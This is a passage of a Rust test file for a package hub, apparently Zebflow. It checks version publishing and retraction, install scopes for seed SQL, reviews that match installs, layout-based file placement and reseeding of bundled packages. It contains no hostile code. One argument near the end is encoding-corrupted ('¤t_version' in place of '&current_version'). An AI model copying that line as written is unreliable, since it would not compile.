.as_ref()
.map(|item| item.media_name.as_str()),
Some(package.media[0].name.as_str())
);
assert!(
package.image_url.ends_with(&package.media[0].name),
"image_url still points at the stored cover, got {}",
package.image_url
);
}
#[test]
fn a_presentation_update_touches_no_release() {
let (root, platform) = hub_publish_fixture("Calculator One");
let (_, released) = publish_calc_tools(&platform, "1.0.0").expect("publish");
let artifact = root.path().join(&released.artifact_rel_path);
let bytes_before = std::fs::read(&artifact).expect("release bytes");
let token = calc_studio_token(&platform, &["hub:publish"]);
platform
.hub
.update_asset_presentation(
&token,
"superadmin",
"default",
"calc-tools",
&HubPresentationUpdate {
summary: Some("Fixed the typo.".to_string()),
..Default::default()
},
)
.expect("presentation update");
assert_eq!(
std::fs::read(&artifact).expect("release bytes"),
bytes_before,
"the release document is untouched"
);
let stored = platform
.hub
.get_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("version row");
assert_eq!(stored.artifact_sha256, released.artifact_sha256);
assert_eq!(stored.created_at, released.created_at);
assert_eq!(
platform
.hub
.list_public_asset_versions("calc-studio.calc-tools")
.expect("versions")
.len(),
1,
"no version was created by an edit"
);
}
#[test]
fn a_retracted_coordinate_can_never_be_published_again() {
let (root, platform) = hub_publish_fixture("Calculator One");
let (_, released) = publish_calc_tools(&platform, "1.0.0").expect("publish");
let artifact = root.path().join(&released.artifact_rel_path);
let token = calc_studio_token(&platform, &["hub:publish"]);
let retracted = platform
.hub
.retract_asset_package(&token, "calc-tools", "leaked an API key")
.expect("retract");
assert_eq!(retracted, 1);
assert!(!artifact.exists(), "the release bytes are gone");
let row = platform
.hub
.get_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("the coordinate survives retraction");
assert!(row.retracted_at.is_some());
assert_eq!(row.retracted_reason, "leaked an API key");
let package = platform
.hub
.list_public_asset_packages()
.expect("packages")
.into_iter()
.find(|item| item.package_id == "calc-studio.calc-tools")
.expect("the package stays listed and explorable");
assert!(package.retracted_at.is_some());
write_publish_source(&platform, "Calculator Two");
let error = publish_calc_tools(&platform, "1.0.0")
.expect_err("a retracted coordinate is never reusable");
assert_eq!(error.code, "HUB_VERSION_RETRACTED");
assert!(!artifact.exists(), "the refusal writes nothing");
}
#[test]
fn a_retracted_release_refuses_its_artifact_with_a_reason() {
let (_root, platform) = hub_publish_fixture("Calculator One");
publish_calc_tools(&platform, "1.0.0").expect("publish");
let token = calc_studio_token(&platform, &["hub:publish"]);
platform
.hub
.retract_asset_package(&token, "calc-tools", "superseded by 2.0.0")
.expect("retract");
let error = platform
.hub
.get_asset_version_install_artifact("calc-studio.calc-tools", "1.0.0")
.expect_err("a retracted release has no bytes to serve");
assert_eq!(error.code, "HUB_VERSION_RETRACTED");
assert!(
error.message.contains("superseded by 2.0.0"),
"the publisher's reason travels with the refusal, got {}",
error.message
);
}
#[test]
fn a_retracted_package_still_accepts_a_new_version() {
let (_root, platform) = hub_publish_fixture("Calculator One");
publish_calc_tools(&platform, "1.0.0").expect("publish");
let token = calc_studio_token(&platform, &["hub:publish"]);
platform
.hub
.retract_asset_package(&token, "calc-tools", "bad build")
.expect("retract");
write_publish_source(&platform, "Calculator Two");
let (package, _) = publish_calc_tools(&platform, "2.0.0").expect("publish 2.0.0");
assert!(
package.retracted_at.is_none(),
"a live release makes the package live again"
);
assert!(
platform
.hub
.get_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("version row")
.retracted_at
.is_some(),
"the retracted coordinate stays retracted"
);
}
const SEED_SQL: &str = "-- posts for the demo blog\n\
CREATE TABLE posts (_key TEXT PRIMARY KEY, title TEXT);\n\
INSERT INTO posts (_key, title) VALUES ('a', 'Hello');\n";
const PAGE_TSX: &str = "export default function Home() { return <div>hi</div>; }\n";
const SEED_REL_PATH: &str = "seeds/sekejap/001-posts.sql";
fn source_project_configuration(
platform: &crate::platform::services::PlatformService,
) -> String {
if platform
.projects
.get_project("superadmin", "seedsource")
.expect("project lookup")
.is_none()
{
platform
.projects
.create_or_update_project(
"superadmin",
&CreateProjectRequest {
project: "seedsource".to_string(),
title: Some("Seed Source".to_string()),
local_branch: None,
runtime: ProjectRuntimeSelectionRequest::default(),
},
)
.expect("a source project to take a valid configuration from");
}
let layout = platform
.projects
.project_layout("superadmin", "seedsource")
.expect("source layout");
std::fs::read_to_string(layout.repo_dir.join(PROJECT_CONFIGURATION_FILE))
.expect("the source project has a configuration")
}
fn seeded_project_bundle(
platform: &crate::platform::services::PlatformService,
) -> HubPackageSpec {
let configuration = source_project_configuration(platform);
serde_json::from_value(serde_json::json!({
"asset_kind": HUB_ASSET_KIND_PROJECT_BUNDLE,
"title": "Seeded Blog",
"description": "A bundle with one page and one seed script.",
"project_initialization": {
"initial_data": [{
"engine": "sekejap",
"path": SEED_REL_PATH,
"statement_count": 2,
"size_bytes": SEED_SQL.len(),
}],
},
"files": [
{
"rel_path": PROJECT_CONFIGURATION_FILE,
"kind": "config", "size_bytes": configuration.len(),
"reason": "project configuration", "content": configuration,
},
{
"rel_path": "pages/home.tsx", "kind": "template",
"size_bytes": PAGE_TSX.len(), "reason": "page", "content": PAGE_TSX,
},
{
"rel_path": SEED_REL_PATH, "kind": "initial data",
"size_bytes": SEED_SQL.len(), "reason": "seed", "content": SEED_SQL,
},
],
}))
.expect("package spec")
}
const CHANNEL_WITHOUT_AN_ARTIFACT_LOCATION: &str =
"this channel does not say where its artifacts live";
fn no_channel() -> HubArtifactChannel {
HubArtifactChannel::unresolvable(CHANNEL_WITHOUT_AN_ARTIFACT_LOCATION)
}
#[test]
fn the_default_scope_installs_everything_and_runs_the_seed() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let bundle = seeded_project_bundle(&platform);
let result = platform
.hub
.install_project_bundle(
"superadmin",
"seeded-blog",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect("the whole bundle installs");
let repo = root.path().join("users/superadmin/seeded-blog/repo");
assert!(repo.join("pages/home.tsx").is_file());
assert!(repo.join(SEED_REL_PATH).is_file());
assert!(result.skipped_files.is_empty());
assert!(result.schema_executed);
assert!(
sekejap::list_tables(&root.path().to_path_buf(), "superadmin", "seeded-blog")
.expect("the store answers")
.iter()
.any(|table| table.table == "posts"),
"the seed created its table"
);
}
#[test]
fn a_schema_only_install_writes_the_sql_without_running_it() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let bundle = seeded_project_bundle(&platform);
let result = platform
.hub
.install_project_bundle(
"superadmin",
"seeded-blog",
&bundle,
&no_channel(),
HubInstallScope {
include_code: false,
include_schema: true,
execute_schema: false,
},
)
.expect("a schema-only install is a valid install");
let repo = root.path().join("users/superadmin/seeded-blog/repo");
assert_eq!(
std::fs::read_to_string(repo.join(SEED_REL_PATH)).expect("the seed is on disk"),
SEED_SQL,
"the user gets the schema to run themselves"
);
assert!(
!repo.join("pages/home.tsx").exists(),
"code was not part of this install"
);
assert!(
repo.join(crate::contracts::kinds::PROJECT_CONFIGURATION_FILE)
.is_file(),
"the project keeps the configuration it cannot exist without"
);
assert!(
sekejap::list_tables(&root.path().to_path_buf(), "superadmin", "seeded-blog")
.expect("the store answers")
.is_empty(),
"nothing was replayed into the store"
);
assert!(!result.schema_executed);
assert_eq!(result.skipped_files, vec!["pages/home.tsx".to_string()]);
assert_eq!(
result.unexecuted_initial_data,
vec![SEED_REL_PATH.to_string()],
"a partial install says which scripts are still waiting"
);
let report = result
.database_initialization
.first()
.expect("the result describes the SQL it wrote");
assert_eq!(report.source, SEED_REL_PATH);
assert_eq!(report.tables, vec!["posts".to_string()]);
assert_eq!(report.store, "created by this install");
}
#[test]
fn an_install_that_would_run_sql_it_never_writes_is_refused() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let bundle = seeded_project_bundle(&platform);
let error = platform
.hub
.install_project_bundle(
"superadmin",
"seeded-blog",
&bundle,
&no_channel(),
HubInstallScope {
include_code: true,
include_schema: false,
execute_schema: true,
},
)
.expect_err("execute_schema without include_schema is not a smaller install");
assert_eq!(error.code, "HUB_INSTALL_SCOPE_INVALID");
assert!(
!root.path().join("users/superadmin/seeded-blog").exists(),
"a rejected request creates nothing"
);
}
#[test]
fn an_install_of_nothing_is_refused() {
let error = HubInstallScope {
include_code: false,
include_schema: false,
execute_schema: false,
}
.validate()
.expect_err("an empty install is a request error");
assert_eq!(error.code, "HUB_INSTALL_SCOPE_INVALID");
}
const FEED_PIPELINE: &str = r#"{
"apiVersion":"zebflow.com/v1",
"kind":"Pipeline",
"metadata":{"name":"feed"},
"spec":{
"id":"feed",
"description":"The blog feed.",
"entry_nodes":["trigger_webhook"],
"nodes":[
{"id":"trigger_webhook","kind":"n.trigger.webhook","input_pins":[],"output_pins":["out"],"config":{"path":"/feed","method":"GET"}}
],
"edges":[]}
}"#;
fn reviewable_project_bundle(
platform: &crate::platform::services::PlatformService,
) -> HubPackageSpec {
let configuration = source_project_configuration(platform);
serde_json::from_value(serde_json::json!({
"asset_kind": HUB_ASSET_KIND_PROJECT_BUNDLE,
"title": "Seeded Blog",
"description": "A bundle with a page, a pipeline and a seed script.",
"active_pipelines": ["pipelines/feed.zf.json"],
"project_initialization": {
"initial_data": [{
"engine": "sekejap",
"path": SEED_REL_PATH,
"statement_count": 2,
"size_bytes": SEED_SQL.len(),
}],
},
"files": [
{
"rel_path": PROJECT_CONFIGURATION_FILE,
"kind": "config", "size_bytes": configuration.len(),
"reason": "project configuration", "content": configuration,
},
{
"rel_path": "pipelines/pages/home.tsx", "kind": "template",
"size_bytes": PAGE_TSX.len(), "reason": "page", "content": PAGE_TSX,
},
{
"rel_path": "pipelines/feed.zf.json", "kind": "pipeline",
"size_bytes": FEED_PIPELINE.len(), "reason": "feed",
"content": FEED_PIPELINE,
},
{
"rel_path": SEED_REL_PATH, "kind": "initial data",
"size_bytes": SEED_SQL.len(), "reason": "seed", "content": SEED_SQL,
},
],
}))
.expect("package spec")
}
#[test]
fn the_review_reports_exactly_what_the_install_performs() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let bundle = reviewable_project_bundle(&platform);
let review = platform
.hub
.review_project_bundle(
"superadmin",
"seeded-blog",
"1.0.0",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect("the bundle reviews");
assert!(review.installable);
assert!(review.violations.is_empty());
assert_eq!(review.project, "seeded-blog");
assert_eq!(
review.pipelines_registered,
vec!["pipelines/feed.zf.json".to_string()]
);
assert_eq!(
review.pipelines_activated,
vec!["pipelines/feed.zf.json".to_string()]
);
assert!(review.pipelines_not_activated.is_empty());
assert!(review.skipped_files.is_empty());
let initialization = review
.database_initialization
.first()
.expect("the review says what the seed SQL does before it runs");
assert_eq!(initialization.source, SEED_REL_PATH);
assert_eq!(initialization.tables, vec!["posts".to_string()]);
let result = platform
.hub
.install_project_bundle(
"superadmin",
"seeded-blog",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect("the reviewed bundle installs");
assert_eq!(result.project, review.project);
assert_eq!(result.files_written, review.files_written);
assert_eq!(result.skipped_files, review.skipped_files);
assert_eq!(result.pipelines_registered, review.pipelines_registered);
assert_eq!(result.pipelines_activated, review.pipelines_activated);
assert_eq!(
result.pipelines_not_activated,
review.pipelines_not_activated
);
assert_eq!(
result.database_initialization,
review.database_initialization
);
assert_eq!(result.schema_executed, review.schema_executed);
let repo = root.path().join("users/superadmin/seeded-blog/repo");
for rel in &result.files_written {
assert!(repo.join(rel).is_file(), "{rel} was reported and written");
}
let registered = platform
.projects
.list_pipeline_meta_rows("superadmin", "seeded-blog")
.expect("the project answers")
.into_iter()
.map(|meta| meta.file_rel_path)
.collect::<Vec<_>>();
assert_eq!(registered, result.pipelines_registered);
let active = platform
.projects
.list_active_pipeline_meta("superadmin", "seeded-blog")
.expect("the project answers")
.into_iter()
.map(|meta| meta.file_rel_path)
.collect::<Vec<_>>();
assert_eq!(active, result.pipelines_activated);
}
#[test]
fn reviewing_a_project_bundle_writes_nothing() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let bundle = reviewable_project_bundle(&platform);
platform
.hub
.review_project_bundle(
"superadmin",
"seeded-blog",
"1.0.0",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect("the bundle reviews");
assert!(
platform
.projects
.get_project("superadmin", "seeded-blog")
.expect("project lookup")
.is_none(),
"the review created no project row"
);
assert!(
!root.path().join("users/superadmin/seeded-blog").exists(),
"the review created no repository, no files and no store"
);
let result = platform
.hub
.install_project_bundle(
"superadmin",
"seeded-blog",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect("the reviewed bundle installs");
assert_eq!(result.project, "seeded-blog");
assert!(
sekejap::list_tables(&root.path().to_path_buf(), "superadmin", "seeded-blog")
.expect("the store answers")
.iter()
.any(|table| table.table == "posts"),
"the seed ran during the install and not during the review"
);
}
#[test]
fn a_refused_bundle_reviews_as_uninstallable_with_the_install_s_violations() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let configuration = source_project_configuration(&platform);
let bundle: HubPackageSpec = serde_json::from_value(serde_json::json!({
"asset_kind": HUB_ASSET_KIND_PROJECT_BUNDLE,
"title": "Scripted",
"description": "A bundle carrying a shell script.",
"files": [
{
"rel_path": PROJECT_CONFIGURATION_FILE,
"kind": "config", "size_bytes": configuration.len(),
"reason": "project configuration", "content": configuration,
},
{
"rel_path": "pipelines/postinstall.sh", "kind": "file",
"size_bytes": 5, "reason": "test", "content": "true\\n",
},
],
}))
.expect("package spec");
let review = platform
.hub
.review_project_bundle(
"superadmin",
"scripted",
"1.0.0",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect("a refused bundle still reviews");
assert!(!review.installable);
assert_eq!(review.risk_level, "blocked");
assert_eq!(
review.violations,
vec![
"pipelines/postinstall.sh: extension '.sh' is not a file type a package may install"
.to_string()
]
);
let error = platform
.hub
.install_project_bundle(
"superadmin",
"scripted",
&bundle,
&no_channel(),
HubInstallScope::default(),
)
.expect_err("what the review refuses the install refuses");
assert_eq!(error.code, "HUB_REMOTE_INSTALL_REFUSED");
for violation in &review.violations {
assert!(
error.message.contains(violation),
"the install refuses with the violation the review showed: {}",
error.message
);
}
assert!(
!root.path().join("users/superadmin/scripted").exists(),
"neither call created a project"
);
}
#[test]
fn the_review_reports_what_the_consent_flags_would_skip() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let bundle = reviewable_project_bundle(&platform);
let scope = HubInstallScope {
include_code: false,
include_schema: true,
execute_schema: false,
};
let review = platform
.hub
.review_project_bundle(
"superadmin",
"seeded-blog",
"1.0.0",
&bundle,
&no_channel(),
scope,
)
.expect("a schema-only install reviews");
assert_eq!(
review.skipped_files,
vec![
"pipelines/feed.zf.json".to_string(),
"pipelines/pages/home.tsx".to_string(),
]
);
assert!(review.pipelines_registered.is_empty());
assert!(review.pipelines_activated.is_empty());
assert_eq!(
review.pipelines_not_activated,
vec!["pipelines/feed.zf.json".to_string()],
"a pipeline the bundle names active is reported as not activated"
);
assert!(!review.schema_executed);
assert_eq!(
review.unexecuted_initial_data,
vec![SEED_REL_PATH.to_string()]
);
assert_eq!(
review.database_initialization.len(),
1,
"the SQL is still described, because it is still written"
);
let result = platform
.hub
.install_project_bundle("superadmin", "seeded-blog", &bundle, &no_channel(), scope)
.expect("a schema-only install installs");
assert_eq!(result.files_written, review.files_written);
assert_eq!(result.skipped_files, review.skipped_files);
assert_eq!(result.pipelines_registered, review.pipelines_registered);
assert_eq!(result.pipelines_activated, review.pipelines_activated);
assert_eq!(
result.pipelines_not_activated,
review.pipelines_not_activated
);
assert_eq!(
result.unexecuted_initial_data,
review.unexecuted_initial_data
);
}
const HUB_LAYOUT_PAGE: &str = "export default function Feed() { return <div>feed</div>; }\n";
const HUB_LAYOUT_LOGO: &str = "<svg xmlns=\"http://www.w3.org/2000/svg\"/>";
const HUB_LAYOUT_DOC: &str = "# Spatial Blogging\n\nHow to run it.\n";
fn write_spatial_blogging_source(platform: &crate::platform::services::PlatformService) {
platform
.projects
.delete_pipeline("superadmin", "default", "calc.zf.json")
.expect("the publish fixture's own pipeline is not part of this application");
platform
.projects
.write_repo_file("superadmin", "default", "pages/feed.tsx", HUB_LAYOUT_PAGE)
.expect("page");
platform
.projects
.upsert_pipeline_definition(
"superadmin",
"default",
"blog/feed.zf.json",
"Feed",
"Renders the feed.",
"webhook",
&serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "Pipeline",
"metadata": {"name": "feed"},
"spec": {
"id": "feed",
"entry_nodes": ["wh"],
"nodes": [
{"id": "wh", "kind": "n.trigger.webhook", "input_pins": [],
"output_pins": ["out"], "config": {"path": "/feed", "method": "GET"}},
{"id": "res", "kind": "n.web.response", "input_pins": ["in"],
"output_pins": ["out"], "config": {"template": "pages/feed.tsx"}}
],
"edges": [{"from_node": "wh", "from_pin": "out",
"to_node": "res", "to_pin": "in"}]
}
})
.to_string(),
)
.expect("pipeline");
let layout = platform
.projects
.project_layout("superadmin", "default")
.expect("publisher layout");
for (dir, name, content) in [
(layout.repo_static_dir(), "logo.svg", HUB_LAYOUT_LOGO),
(layout.repo_docs_dir(), "README.md", HUB_LAYOUT_DOC),
] {
std::fs::create_dir_all(&dir).expect("area directory");
std::fs::write(dir.join(name), content).expect("area file");
}
}
fn project_declaring_src(
platform: &crate::platform::services::PlatformService,
project: &str,
) -> ProjectFileLayout {
platform
.projects
.create_or_update_project(
"superadmin",
&CreateProjectRequest {
project: project.to_string(),
title: Some("Declared".to_string()),
local_branch: None,
runtime: ProjectRuntimeSelectionRequest::default(),
},
)
.expect("target project");
platform
.zebflow_cfg
.update("superadmin", project, |cfg| {
cfg.configs.layout.source = Some("src".to_string());
})
.expect("declare source");
platform
.projects
.project_layout("superadmin", project)
.expect("target layout")
}
fn publish_spatial_blogging(
platform: &crate::platform::services::PlatformService,
source_type: &str,
source_ref: &str,
package: &str,
) {
platform
.hub
.publish_asset(
"superadmin",
"default",
"superadmin",
"calc-studio",
"",
"",
"",
"superadmin",
"default",
source_type,
source_ref,
package,
"1.0.0",
"Spatial Blogging",
"A whole small application.",
"",
"public",
HubProjectBundlePublishOptions {
include_sekejap_schema: false,
include_sqlite_schema: false,
include_libraries: Vec::new(),
include_initial_data: false,
initial_data_paths: Vec::new(),
},
Vec::new(),
)
.expect("publish");
}
fn reviewed_destinations(review: &HubInstallReview) -> Vec<String> {
let mut all = review.files_added.clone();
all.extend(review.files_overwritten.clone());
all.sort();
all
}
#[test]
fn a_release_records_the_layout_its_paths_were_produced_by() {
let (_root, platform) = hub_publish_fixture("Calculator One");
let (_, version) = publish_calc_tools(&platform, "1.0.0").expect("publish");
let manifest: HubPackageSpec =
serde_json::from_value(version.manifest).expect("manifest spec");
let layout = manifest.layout.expect("a publish records its layout");
assert_eq!(layout.source.as_deref(), Some(""));
assert_eq!(layout.r#static.as_deref(), Some("static"));
assert_eq!(layout.docs.as_deref(), Some("docs"));
assert_eq!(layout.schema.as_deref(), Some("schemas/sekejap"));
assert_eq!(layout.sqlite_schema.as_deref(), Some("schemas/sqlite"));
assert_eq!(layout.node_interfaces.as_deref(), Some("nodes"));
}
#[test]
fn a_package_published_from_pipelines_installs_into_a_project_declaring_src() {
let (root, platform) = hub_publish_fixture("Calculator One");
write_spatial_blogging_source(&platform);
publish_spatial_blogging(
&platform,
"pipeline_with_dependencies",
"blog/feed.zf.json",
"feed-tools",
);
let target = project_declaring_src(&platform, "atlas");
let public = platform.hub.require_public_store().expect("public store");
let review = platform
.hub
.review_asset_install_from_store(
&public,
"superadmin",
"atlas",
"calc-studio.feed-tools",
"1.0.0",
"",
)
.expect("review");
assert_eq!(review.install_root, "src/hub/calc-studio.feed-tools");
assert_eq!(
reviewed_destinations(&review),
vec![
"src/hub/calc-studio.feed-tools/blog/feed.zf.json".to_string(),
"src/hub/calc-studio.feed-tools/pages/feed.tsx".to_string(),
],
"the publisher's source root is removed, not carried along"
);
assert_eq!(
review.pipelines_registered,
vec!["hub/calc-studio.feed-tools/blog/feed.zf.json".to_string()]
);
let result = platform
.hub
.install_asset_from_store(
&public,
crate::contracts::kinds::DependencyLockSource::HubPublic,
"superadmin",
"atlas",
"calc-studio.feed-tools",
"1.0.0",
"",
)
.expect("install");
assert_eq!(result.pipelines_registered, review.pipelines_registered);
for destination in reviewed_destinations(&review) {
assert!(
target.repo_dir.join(&destination).is_file(),
"the review promised {destination}"
);
}
let _ = root;
}
#[test]
fn a_package_published_before_this_field_existed_still_installs() {
let root = tempfile::tempdir().unwrap();
let platform = test_platform(&root);
let target = project_declaring_src(&platform, "atlas");
let pipeline = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "Pipeline",
"metadata": {"name": "feed"},
"spec": {"id": "feed", "entry_nodes": [], "nodes": [], "edges": []}
})
.to_string();
let document = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": {"name": "legacy-tools", "version": "1.0.0"},
"spec": {
"asset_kind": HUB_ASSET_KIND_PIPELINE_BUNDLE,
"title": "Legacy Tools",
"description": "Published before a package recorded its layout.",
"files": [
{"rel_path": "pipelines/blog/feed.zf.json", "kind": "pipeline",
"size_bytes": pipeline.len(), "reason": "primary pipeline",
"content": pipeline},
{"rel_path": "pipelines/pages/feed.tsx", "kind": "tsx",
"size_bytes": HUB_LAYOUT_PAGE.len(), "reason": "page",
"content": HUB_LAYOUT_PAGE}
]
}
});
let payload = parse_hub_artifact_value(document, "TEST_HUB").expect("a v1 document");
assert!(
payload.layout.is_none(),
"the fixture is only interesting while it declares nothing"
);
let review = platform
.hub
.review_artifact_payload(
"superadmin",
"atlas",
"legacy-tools",
"1.0.0",
"",
&payload,
&no_channel(),
)
.expect("review");
assert_eq!(
reviewed_destinations(&review),
vec![
"src/hub/legacy-tools/pipelines/blog/feed.zf.json".to_string(),
"src/hub/legacy-tools/pipelines/pages/feed.tsx".to_string(),
]
);
platform
.hub
.install_artifact_payload_from(
"superadmin".to_string(),
"atlas".to_string(),
"legacy-tools",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"legacy-tools",
"1.0.0",
),
payload,
&no_channel(),
)
.expect("install");
for destination in reviewed_destinations(&review) {
assert!(target.repo_dir.join(&destination).is_file());
}
}
#[test]
fn a_whole_project_added_as_a_folder_lands_in_the_receivers_areas() {
let (_root, platform) = hub_publish_fixture("Calculator One");
write_spatial_blogging_source(&platform);
publish_spatial_blogging(&platform, "project_files", ".", "spatial-blogging");
let target = project_declaring_src(&platform, "atlas");
let target_configuration =
std::fs::read(target.project_config_file.as_path()).expect("target configuration");
let package = "calc-studio.spatial-blogging";
let public = platform.hub.require_public_store().expect("public store");
let review = platform
.hub
.review_asset_install_from_store(&public, "superadmin", "atlas", package, "1.0.0", "")
.expect("review");
let destinations = reviewed_destinations(&review);
let result = platform
.hub
.install_asset_from_store(
&public,
crate::contracts::kinds::DependencyLockSource::HubPublic,
"superadmin",
"atlas",
package,
"1.0.0",
"",
)
.expect("install");
let folder = format!("hub/{package}");
assert_eq!(result.install_root, format!("src/{folder}"));
assert!(
destinations.contains(&format!("src/{folder}/blog/feed.zf.json")),
"source keeps the receiver's source root: {destinations:?}"
);
assert!(
destinations.contains(&format!("src/static/{folder}/logo.svg")),
"static files land where the receiver serves them from: {destinations:?}"
);
assert!(
destinations.contains(&format!("docs/{folder}/README.md")),
"docs land where the receiver keeps docs: {destinations:?}"
);
assert!(destinations.contains(&format!(
"src/{folder}/{}",
crate::contracts::kinds::PROJECT_CONFIGURATION_FILE
)));
assert_eq!(
std::fs::read(target.project_config_file.as_path()).expect("target configuration"),
target_configuration,
"adding a project must not rewrite the receiver's configuration"
);
for destination in &destinations {
assert!(
target.repo_dir.join(destination).is_file(),
"the review promised {destination}"
);
}
assert_eq!(result.pipelines_registered, review.pipelines_registered);
assert_eq!(
result.pipelines_registered,
vec![
format!("{folder}/blog/feed.zf.json"),
format!("{folder}/pipelines/calc.zf.json"),
format!("{folder}/sample_api_pipeline.zf.json"),
format!("{folder}/sample_web_page_pipeline.zf.json"),
]
);
assert!(
platform
.projects
.read_pipeline_source(
"superadmin",
"atlas",
&format!("{folder}/blog/feed.zf.json")
)
.expect("the added pipeline is registered")
.contains("\"feed\"")
);
}
#[test]
fn placement_translates_the_areas_it_can_merge_and_leaves_the_rest() {
let publisher = ZebflowJsonLayout {
source: Some("pipelines".to_string()),
..Default::default()
}
.resolve();
let target = ZebflowJsonLayout {
source: Some("src".to_string()),
docs: Some("documentation".to_string()),
..Default::default()
}
.resolve();
let placement = HubInstallPlacement::Project {
publisher,
target,
install_root: "src/hub/demo".to_string(),
folder: "hub/demo".to_string(),
};
assert_eq!(
placement.destination("pipelines/blog/feed.zf.json"),
"src/hub/demo/blog/feed.zf.json"
);
assert_eq!(
placement.destination("pipelines/static/logo.svg"),
"src/static/hub/demo/logo.svg"
);
assert_eq!(
placement.destination("docs/README.md"),
"documentation/hub/demo/README.md"
);
assert_eq!(
placement.destination("schemas/sekejap/schema.json"),
"src/hub/demo/schemas/sekejap/schema.json"
);
assert_eq!(
placement.destination("nodes/n.x.acme.thing.json"),
"src/hub/demo/nodes/n.x.acme.thing.json"
);
assert_eq!(
placement.destination("zebflow.yaml"),
"src/hub/demo/zebflow.yaml"
);
assert_eq!(
placement.destination("pipelines-old/feed.zf.json"),
"src/hub/demo/pipelines-old/feed.zf.json"
);
}
fn blessed_version(package_id: &str) -> String {
crate::platform::blessed::blessed_packages()
.expect("blessed packages enumerate")
.into_iter()
.find(|package| package.package_id == package_id)
.unwrap_or_else(|| panic!("{package_id} is carried by this build"))
.version
}
#[test]
fn a_package_the_build_no_longer_carries_leaves_the_shelf() {
let (_root, platform) = hub_publish_fixture("Departed Package");
let carried = platform
.hub
.local_store
.data
.get_hub_asset_version("zebflow.deckgl", &blessed_version("zebflow.deckgl"))
.expect("lookup")
.expect("deckgl is seeded");
let mut departed = carried.clone();
departed.package_id = "zebflow.gone".to_string();
departed.version = "0.1.0".to_string();
let mut package_row = platform
.hub
.local_store
.data
.get_hub_asset_package("zebflow.deckgl")
.expect("lookup")
.expect("deckgl has a package row");
package_row.package_id = "zebflow.gone".to_string();
package_row.package_pk = "pkg-zebflow-gone".to_string();
departed.package_pk = package_row.package_pk.clone();
platform
.hub
.local_store
.data
.put_hub_asset_package(&package_row)
.expect("package row");
platform
.hub
.local_store
.data
.put_hub_asset_version(&departed)
.expect("version row");
let report = platform.hub.seed_blessed_catalog().expect("reseed");
assert!(
report.retired.contains(&"zebflow.gone@0.1.0".to_string()),
"expected the departed package to be retired, got {:?}",
report.retired
);
let row = platform
.hub
.local_store
.data
.get_hub_asset_version("zebflow.gone", "0.1.0")
.expect("lookup")
.expect("the row is kept, so the coordinate stays taken");
assert!(
row.retracted_at.is_some(),
"retired means retracted, not deleted"
);
let still_here = platform
.hub
.local_store
.data
.get_hub_asset_version("zebflow.deckgl", &blessed_version("zebflow.deckgl"))
.expect("lookup")
.expect("deckgl is still carried");
assert!(still_here.retracted_at.is_none(), "deckgl must stay on the shelf");
}
#[test]
fn the_blessed_seed_is_idempotent_across_boots() {
let (_root, platform) = hub_publish_fixture("Blessed Seed");
let deckgl = platform
.hub
.local_store
.data
.get_hub_asset_version("zebflow.deckgl", &blessed_version("zebflow.deckgl"))
.expect("version lookup")
.expect("the first boot seeded deckgl");
let report = platform
.hub
.seed_blessed_catalog()
.expect("second seed run");
assert!(report.published.is_empty(), "{:?}", report.published);
assert!(report.errors.is_empty(), "{:?}", report.errors);
assert!(report.skipped.contains(&format!("zebflow.deckgl@{}", blessed_version("zebflow.deckgl"))));
let unchanged = platform
.hub
.local_store
.data
.get_hub_asset_version("zebflow.deckgl", &blessed_version("zebflow.deckgl"))
.expect("version lookup")
.expect("still present");
assert_eq!(unchanged.artifact_sha256, deckgl.artifact_sha256);
assert_eq!(unchanged.created_at, deckgl.created_at);
}
#[test]
fn blessed_upgrade_publishes_licensed_bytes_without_rewriting_old_release() {
let (root, platform) = hub_publish_fixture("Blessed Upgrade");
let package_id = "zebflow.codemirror";
let carried = crate::platform::blessed::blessed_packages().unwrap();
for package in carried
.iter()
.filter(|package| package.asset_kind == "rwe_library")
{
assert_ne!(
package.version, "0.1.1",
"{} must not reuse the pre-license coordinate",
package.package_id
);
}
let current = carried
.into_iter()
.find(|package| package.package_id == package_id)
.unwrap();
let current_version = current.version.clone();
let local_data = crate::platform::adapters::data::build_hub_data_adapter(
crate::platform::model::DataAdapterKind::Sqlite,
&root.path().join("upgrade-hub.db"),
)
.unwrap();
let hub = HubService::new(
platform.hub.control_data.clone(),
local_data.clone(),
crate::platform::model::DataAdapterKind::Sqlite,
platform.hub.projects.clone(),
platform.hub.node_registry.clone(),
platform.hub.dependency_lock.clone(),
root.path().to_path_buf(),
);
let authority = hub.ensure_store_authority().unwrap();
let publisher = hub.ensure_reserved_publisher().unwrap();
let mut old_package = platform
.hub
.local_store
.data
.get_hub_asset_package(package_id)
.unwrap()
.unwrap();
old_package.authority_id = authority.authority_id;
old_package.publisher_pk = publisher.publisher_pk;
let mut old = platform
.hub
.local_store
.data
.get_hub_asset_version(package_id, ¤t_version)
.unwrap()
.unwrap();
let mut old_spec: HubPackageSpec = serde_json::from_value(old.manifest.clone()).unwrap();
old_spec.files = current
.files
.iter()
.filter(|file| file.rel_path != "LICENSE")
.map(|file| {
if file.rel_path == "manifest.json" {
let mut manifest: Value = serde_json::from_slice(file.bytes).unwrap();
manifest["spec"].as_object_mut().unwrap().remove("license");
hub_entry_from_bytes(&file.rel_path, &serde_json::to_vec(&manifest).unwrap())
} else {
hub_entry_from_bytes(&file.rel_path, file.bytes)
}
})
.collect();
